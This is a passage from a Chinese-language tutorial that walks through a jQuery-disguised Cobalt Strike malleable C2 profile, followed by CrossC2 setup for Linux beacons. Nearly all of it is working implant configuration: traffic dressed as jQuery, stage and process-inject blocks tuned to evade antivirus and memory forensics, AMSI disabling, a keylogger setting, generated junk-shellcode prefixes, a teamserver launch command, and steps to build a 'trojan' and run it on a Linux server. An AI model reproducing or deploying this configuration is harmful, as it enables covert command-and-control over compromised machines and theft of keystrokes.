e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}

Stage

CS会把shellcode写入到内存中去,并且创建线程执行这个shellcode,而这个shellcode又会申请一块新的内存,不会在原来的内存中进行操作.然后通过网络从TeamServer服务器上下载一个真正的Beacon,这个Beacon是被加密的.图例中”被加密的Payload”,这部分内容就会被写入到第二块内存中去,同时这部分内存还保存有一个可以被识别的解密程序,然后根据这个解密程序它会进行自解密变成两部分,一部分是反射DLL,另一部分是这个反射DLL的Loader.接着这个反射DLL又会申请一块新内存,并复制Beacon到新内存中去.最后我们想要执行命令的那些操作功能都将在第三块内存中进行.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
stage {
# CS 4.2 added allocator and MZ header overrides
set allocator "VirtualAlloc"; # 有三个内存分配函数,分别为:HeapAlloc、MapViewOfFile、VirtualAlloc. 杀毒会检测API的调用链,所以要对内存分配的函数进行自定义
#set magic_mz_x86 "MZRE"; # 相当于花指令
#set magic_mz_x64 "MZAR"; # 相当于花指令
set magic_pe "NO"; # 不覆盖Beacon的反射加载器使用的PE文件
set userwx "false"; # 内存分配:正常的内存分配基本上不会出现可读、可写、可执行的情况,所以在溯源取证时就会去找存在可读、可写、可执行的内存块,当设置为 false 时内存状态就不可读、不可写、不可执行
set stomppe "true"; # 要求反射加载器在加载Beacon有效载荷后覆盖MZ(Microsoft Windows Portable Executable File)头、PE头和e_lfanew值,
set obfuscate "true"; # obfuscate启用对反射DLL的导入表进行混淆,覆盖未使用的头部内容,并要求反射加载器在没有DLL头的情况下将Beacon复制到新内存中. 混淆的不是真正的恶意代码
set cleanup "true"; # 当我们得到真正的 Beacon 时前面两段内存会被清理掉
# CS 3.12 Addition "Obfuscate and Sleep"
set sleep_mask "true"; # 比如当执行截图操作时,我们的命令指令是存储在第三块内存中的,所以我们在休眠时也容易被侦测到。当设置为true时,休眠状态下我们的命令指令就会被加密,不容易被识别。当然这也存在一块可以解密的代码,当睡眠过后又会根据该代码将加密内容解开,正常执行命令。
# CS 4.1
set smartinject "true"; # 内存侦测技术:在执行写入到内存的shellcode代码时,而shellcode就是一些与位置无关的代码,想要执行这些功能代码就要去寻找一些相应的API函数的位置,正常情况下是每次使用都要遍历出Kernel32 DLL 在内存中的位置。再找到相应函数的一个指针,通过指针调用相应函数执行相应功能。而这遍历的功能就被作为检测的特征了。当“smartinject”设置为true时,就不会每次都调用去遍历Kernel32 DLL了,在第一次遍历时就将函数的指针找到给下面所有需要调用的地方

# Make the Beacon Reflective DLL look like something else in memory
# Values captured using peclone agaist a Windows 10 version of explorer.exe
set checksum "0"; # 设置Beacon的PE头部中的校验和值,
set compile_time "11 Nov 2016 04:08:32"; # 设置Beacon的PE头部中的编译时间
set entry_point "650688"; # 设置Beacon的PE头部中的入口点值
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set rich_header "\xbf\x7c\x40\x4a\x9c\x8e\xe1\xdd\x29\xce\x77\x1e\x1c\xee\x41\xab\x9d\xa8\xf5\x65\xec\xde\x71\x7b\xa6\x3f\xb8\x1c\x5c\x70\xaa\xd6\xca\x84\xd1\xc6\x2d\xad\x7c\xfe\x30\x6c\x1b\x98\x91\x6c\x63\xba\x03\x83\xbf\x4e\xbb\xe4\x33\xba\x01\xb3\xab\xf6\x01\x99\x13\x71"; # 添加到DLL中的元信息数据

##:模块踩踏
# Cobalt Strike 3.11还在Beacon的反射加载器中添加了模块踩踏功能。启用后,Beacon的加载程序将避开VirtualAlloc,而是将一个DLC加载到当前进程中并覆盖其内存。

# 将module_x86设置为最喜欢的x86 DLC,以模块踩踏x86 Beacon。module_x64选项为x64 Beacon启用此功能。
# 虽然这是一个强大的功能,但也需要注意!如果您加载的库不够大,无法托管Beacon,您将导致Beacon的进程崩溃。如果当前进程稍后加载相同的库(无论出于何种原因),您将使Beacon的进程崩溃。仔细选择。
# 默认情况下,Beacon的加载程序使用VirtualAlloc分配内存。模块踩踏是一种替代方案。将module_x86设置为大约是Beacon有效负载本身两倍大的DLC。Beacon的x86加载程序将加载指定的DLC,找到其在内存中的位置并覆盖它。这是在Windows与磁盘上的文件关联的内存中初始化Beacon的一种方法。重要的是,您要驻留的应用程序不需要您选择的DLC。module_x64选项是同样的情况,但它会影响x64 Beacon。
# 详细信息请参阅In-memorial Evasion视频系列。https://youtu.be/uWVH9l2GMw4

# set module_x64 "netshell.dll";
# set module_x86 "netshell.dll";
# 启动一个正常的 DLL,把一个 DLL 映射到内存中间的时候,这是一个正常的映射流程,然而最后一步反射 DLL Loader 不是直接分配内存,他是在申请完新内存后再把这块内存替换成我们真正的 Beacon 内容


# transform-x86和transform-x64块填充和转换Beacon的反射性动态链接库阶段。这些块支持三个命令:prepend、append和strsup。
# 填充和转换Beacon的反射DLL阶段
transform-x86 { # transform the x86 rDLL stage
prepend "\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90"; # 前置
strrep "ReflectiveLoader" "execute"; # 字符串替换
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
transform-x64 { # transform the x64 rDLL stage
prepend "\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
}

stringw "jQuery"; # stringw用于将字符串"JQuery"添加到DLL中,是为了使DLL看起来更像正常的JavaScript库文件,从而减少被检测的可能性
}

Post-Ex

我们在执行截屏时不是直接在 Beacon 中执行的,而是起了一个傀儡进程,在傀儡进程中执行,再用命名管道将数据回传回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
post-ex {
# 指定了32位Beacon在执行后渗透(post-exploitation)任务时注入shellcode的目标程序路径
set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
# 启用对后渗透DLL的混淆
set obfuscate "true";
# 启用智能注入功能
set smartinject "true";
# 禁用AMSI
set amsi_disable "true";
# 定义了用于后渗透任务的命名管道名称,
set pipename "Winsock2\\CatalogChangeListener-###-0,";
# 设置键盘记录使用的函数
set keylogger "GetAsyncKeyState";
}

Process-Inject

进程注入自定义的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
process-inject {
set allocator "NtMapViewOfSection"; # 设置远程进程中内存分配的方法为 NtMapViewOfSection
set min_alloc "17500"; # 注入内容的最小内存分配大小

# Set memory permissions as permissions as initial=RWX, final=RX
set startrwx "false"; # 注入内容的初始内存权限,False意味着不是读写执行
set userwx "false"; # 最终内存权限
transform-x86 {
prepend "\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90"; # 在注入内容前添加NOP滑梯(\x90\x90是NOP指令的机器码)
#append "\x90\x90";
}
transform-x64 {
prepend "\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90";
#append "\x90\x90";
}


execute {
CreateThread "ntdll!RtlUserThreadStart+0x42"; # 使用CreateThread函数创建一个线程,并使用特定的偏移量(+0x42)作为线程的入口点,这通常用于当前进程的自我注入
CreateThread; # 这是一个通用的CreateThread方法,他尝试创建一个线程而不指定特定的入口点
NtQueueApcThread-s; # 这个方法使用APC(异步过程调用)线程注入技术,-s表示这是一个"Stealth"版本的APC注入,可能更难以被检测
CreateRemoteThread; # 这个方法尝试跨进程创建远程线程,这是一种常见的跨进程注入技术
RtlCreateUserThread; # 这个方法使用RtlCreateUserThread函数进行注入,它支持所有架构依赖的情况,例如32位到64位的注入,并且可以跨会话边界进行注入
}
}

Prepend

prepend.py是一个Python脚本,它生成动态垃圾shellcode,该shellcode将附加在实际shellcode的开头.

1
2
3
python3 prepend.py 

\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90

复制输出并将其粘贴到配置文件中(在transform-x64transform-x86块内)

1
2
3
4
5
6
transform-x64 {
...
prepend
"\x66\x90\x47\x4c\x40\x0f\x1f\x00\x0f\x1f\x04\x00\x40\x66\x87\xdb\x49\x44\x0f\x1f\x00\x42\x66\x87\xd2\x87\xc9\x66\x0f\x1f\x04\x00\x43\x87\xdb\x45\x87\xd2\x41\x48\x66\x87\xc9\x0f\x1f\x00\x46\x90";
...
}

Rich_Header

rich_header生成动态shellcode,负责编译器插入的元信息.Rich标头是一个PE部分,用作Windows可执行文件生成环境的指纹.

1
2
3
python3 rich_header.py

\xbf\x7c\x40\x4a\x9c\x8e\xe1\xdd\x29\xce\x77\x1e\x1c\xee\x41\xab\x9d\xa8\xf5\x65\xec\xde\x71\x7b\xa6\x3f\xb8\x1c\x5c\x70\xaa\xd6\xca\x84\xd1\xc6\x2d\xad\x7c\xfe\x30\x6c\x1b\x98\x91\x6c\x63\xba\x03\x83\xbf\x4e\xbb\xe4\x33\xba\x01\xb3\xab\xf6\x01\x99\x13\x71

检查profile文件

1
2
chmod +x c2lint 
./c2lint jquery-c2.4.5-jx.profile

使用profile文件启动cs:./teamserver 83.***.***.145 123456 jquery-c2.4.5-jx.profile

CS配置linux上线

下载 CrossC2

cs默认是不支持上线linux主机的 , 但是可以通过安装CrossC2插件实现,但也只支持HTTPS beacon

将以上三个文件下载到cs安装目录下的script目录中,并进行解压

安装插件

复制cs服务端目录下的.cobaltstrike.beacon_keysgenCrossC2.Win.exe所在的目录下

然后编辑CrossC2-GithubBot-2021-11-02.cna文件,填入相关路径Windows下双斜杠

启动cs,使用客户端加载cna插件.选择Script Manager,添加CrossC2.cna

如果成功安装,菜单栏会多出一项CrossC2

上线测试

将服务端的jquery-c2.4.5-jx.profile文件保存到cs目录,然后新建一个https的监听

选择CrossC2—>Create CrossC2 Listener—>Create Reverse HTTPS Listener

1
2
3
4
host beacon port  # 可以更改,未被占用即可
Choose:c2profile # 选择从服务器上下载下来的jquery-c2.4.5-jx.profile文件
Listener: # 选择HTTPS的监听器
OutPutFileName # 木马文件名

生成的木马在CS目录下,上传到Linux服务器并后台运行